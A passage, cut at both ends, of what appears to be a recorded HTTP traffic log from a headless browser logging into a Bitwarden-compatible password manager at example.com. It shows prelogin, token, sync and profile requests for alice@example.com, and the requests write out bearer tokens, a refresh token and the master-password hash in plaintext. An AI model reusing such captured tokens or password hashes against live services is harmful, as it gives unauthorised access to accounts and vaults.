UXtgwxBb1HpQPl4WyzOpS6Vjyf7Ad+/V+lEf2cFa/SMftecrM1hlfLplCrKf2duiHNxFcHpqPTyVxfWkRA1JKrwpgLMxaX3mZl+xJW1Enm8QdZrlaPiFp/kTz+yax6zlqW2D/pQIlXfAM+FiMk+mbnJy0aOvzrrVwh12Xp3P+i1dNdY9KVE7QPXeWY6fbE3D2N3urysGBFEPFm2fjiDugCQzeFMQot/fTM4pYUt/uweJk4tqZXSoUJacevlj9r+TaG+9muquBY1fRwnOhNTyzpvvAho=|m8ws2b/cbAkEWrMxbKR5xIREcugapKPPDf2M6B2MB7c=\"},\"masterPasswordAuthentication\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterPasswordAuthenticationHash\":\"PFTB756792a9joBcqKKHK61aPajhH+ALhFcnA4VMCms=\"},\"masterPasswordUnlock\":{\"salt\":\"alice@example.com\",\"kdf\":{\"iterations\":600000,\"kdfType\":0},\"masterKeyWrappedUserKey\":\"2.o8g9//HWC2ef7L5bpOXplA==|y1EuzEa3rtAfNF2rXqcOFPozQSCjpYE2OavEdylFlgm7n+RPxb9H1DmXCMMTINlHZEPZYvUqMowb66fVAEcfgW5pRUURoOCbLGgsIus5tSY=|tz6s/bE6Vx7Kp2KgnknKSOt7CAb4SmdOpdii9S0j9ls=\"},\"emailVerificationToken\":\"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0MzcsImV4cCI6MTc5NDI4MjIzNywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxyZWdpc3Rlcl92ZXJpZnkiLCJzdWIiOiJhbGljZUBleGFtcGxlLmNvbSIsIm5hbWUiOiJBbGljZSBweXRob24zIiwidmVyaWZpZWQiOmZhbHNlfQ.e5Rr4SWO_KIg_xkVTSoTeuQRfU4TZOK0F_u-7P_VeDVWXvZOsmu_g43wbu03ohAK9lhHifduuocpFlIlqtbnSEWEeg-kbsRNxZRDpGYsLWVO6-gQhJuzu-XQua6oPdq6V9ibyYcRgmDMVodOnfQ0pWx0TRKTOzqWKUNWmNHkkLRtOGiK87Ids1K8KGYpiosPyfJfeepNn5uwbtCj0JnrauvskCAIFotSAPKOcgciL_Za5JggoDQ-UpwyXUAP5bs26cRhe4mXLyQUCSH38koyWAxDz53FSq3_8Xq63AZJKN0ox_n6flWJiJSP5eHktIVBub3Ifs3B4nULgU9aU49VvQ\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/accounts/prelogin/password", "headers": ["Host: example.com", "Content-Length: 29", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=8e633b72-6e86-4a9f-90b1-5ca04f7739a8&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/api/sync?excludeDomains=true", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/notifications/hub?access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: gn2i7t3LFmj+47dvLQHEcA==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/accounts/revision-date", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/accounts/key-management/user-key-id", "headers": ["Host: example.com", "Content-Length: 48", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"userKeyId\":\"549cd3b87c242101679813f95c7c6cac\"}"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5Njg3MjQ0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiRmc4bEduelpqTWdzZTdlT19CYUhnaTB5M2pOT1AwbWdPZlRRU2E1cjA0LXZnSUpOSFM3Rkg3ejhUaG1JLUdlaUt4MjVKQmJjc08xOWt3cmdJRVU5aHc9PSIsInRva2VuIjpudWxsfQ.MDicbm7tvVt6vJFZMAXnPTSzOg6_YWqg5I-jNgrlxUSvW4q419bqz4Am10daTOcDqqgyQHogMRhm1sHM62bdiz4KeyH-vnYtm2KaS3XUCHkOlQZf8cayfcWM8P9ykesfaUJPEuD1whKRlrqyL49eBMicVyTv4uuITr-WZhkF_owQTduKxCefE34Km79geY_HkK3t-dwdCuVH4jdPyQBSKhm7NJdHj54_LlXrfuFxuLF9aoUDsx3cCPOycyD9nT8Vtilj9r1r8mm9xl70qWE3307MYWYx-AZZ5Nq5CksZBo4yYutfrFHS3KOkZJk239wBYVRNtABPGLv738u9pRvbUg"}
|
||||||
|
{"method": "GET", "target": "/api/accounts/profile", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA0NDQsImV4cCI6MTc5NDI4NzY0NCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiI4ZTYzM2I3Mi02ZTg2LTRhOWYtOTBiMS01Y2EwNGY3NzM5YTgiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.V3chOXAFP_4rR4x1IXJyZ5b0JY0Gi84mLcuvajZCigDP4k8MFIsn7aD1t1SPnNippOpONZvqKwmyxoIaXlVe6vEL-I6ooa29uMfou3NKtD-FmYukW4iUUdnlRcLwatcOKOHzbLoqPc52gL_6JaPdJM60ybNRsRDXrlDYr04sMlj2geEO5DX2VCDzjBX-vq7aYhvT50OEcHJVHd7YgtHz1qJThW7z1hnZGgXg5VstnwYS9ZG_yMJavBbLHW_Pfo3DAWFEtenlaGPBG31i5pbRMQPl3LKvzSdhOunsjC76yrrc7sJ-WL2KTiQwuuj0kVTkoBSDciiMZGoO9oCM3TUAKw", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/videos/new-login-item.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/videos/browser-extension-easy-access.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/videos/onboarding-autofill.mp4", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: video", "Referer: https://example.com/", "Accept-Encoding: identity", "Range: bytes=0-", "Priority: i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/devices/knowndevice", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "X-Request-Email: YWxpY2VAZXhhbXBsZS5jb20", "Sec-Ch-Ua-Mobile: ?0", "X-Device-Identifier: c3a5818e-de33-4cf1-9f7e-345fd32871e4", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=c3a5818e-de33-4cf1-9f7e-345fd32871e4&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a03db5f2-c0bc-4d6b-a5b3-49b51437a2cd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
|
||||||
|
{"method": "GET", "target": "/api/auth-requests/pending", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODA1NTYsImV4cCI6MTc5NDI4Nzc1NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBweXRob24zIiwiZW1haWwiOiJhbGljZUBleGFtcGxlLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJzc3RhbXAiOiIyZGZiZDFlOS03M2VmLTRiZmMtYTVhNy02ZDgwNTM2MjE1MjciLCJkZXZpY2UiOiJhMDNkYjVmMi1jMGJjLTRkNmItYTViMy00OWI1MTQzN2EyY2QiLCJkZXZpY2V0eXBlIjoiVW5rbm93biBCcm93c2VyIiwiY2xpZW50X2lkIjoid2ViIiwic2NvcGUiOlsiYXBpIiwib2ZmbGluZV9hY2Nlc3MiXSwiYW1yIjpbIkFwcGxpY2F0aW9uIl19.Y9zoVlxbR1bUz9R2x_mTA0Rdckt9wgf79Ks_LmH48qnVO3-oUtwf4sUXrGNNDW5H9OJD570OMTvVJnnqV5O_i60XmFnT5lDSc9mQQavcVAvvUhKYo6JIJpD2iJX3FNTekSIf5cyrDh4UTRs4M_DvseywaH7Wf_sBMchpI-SvLDkX45WkJPTvGtE141cJBA0lhYEC1OqzXCm9oAUtnpzm24UqIiFmULnmgPMgCaqy0z5_q5HjwV7KJCx68mj-epHTxVEmW0OdokF_AwNBEX28PYvCPkqXQC0efV8WQqyccxHyhklQ0fzE0iPQepL8uWc04AqI-xGy8yQz4ELTtpFcpA", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/images/welcome-dialog-graphic.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": 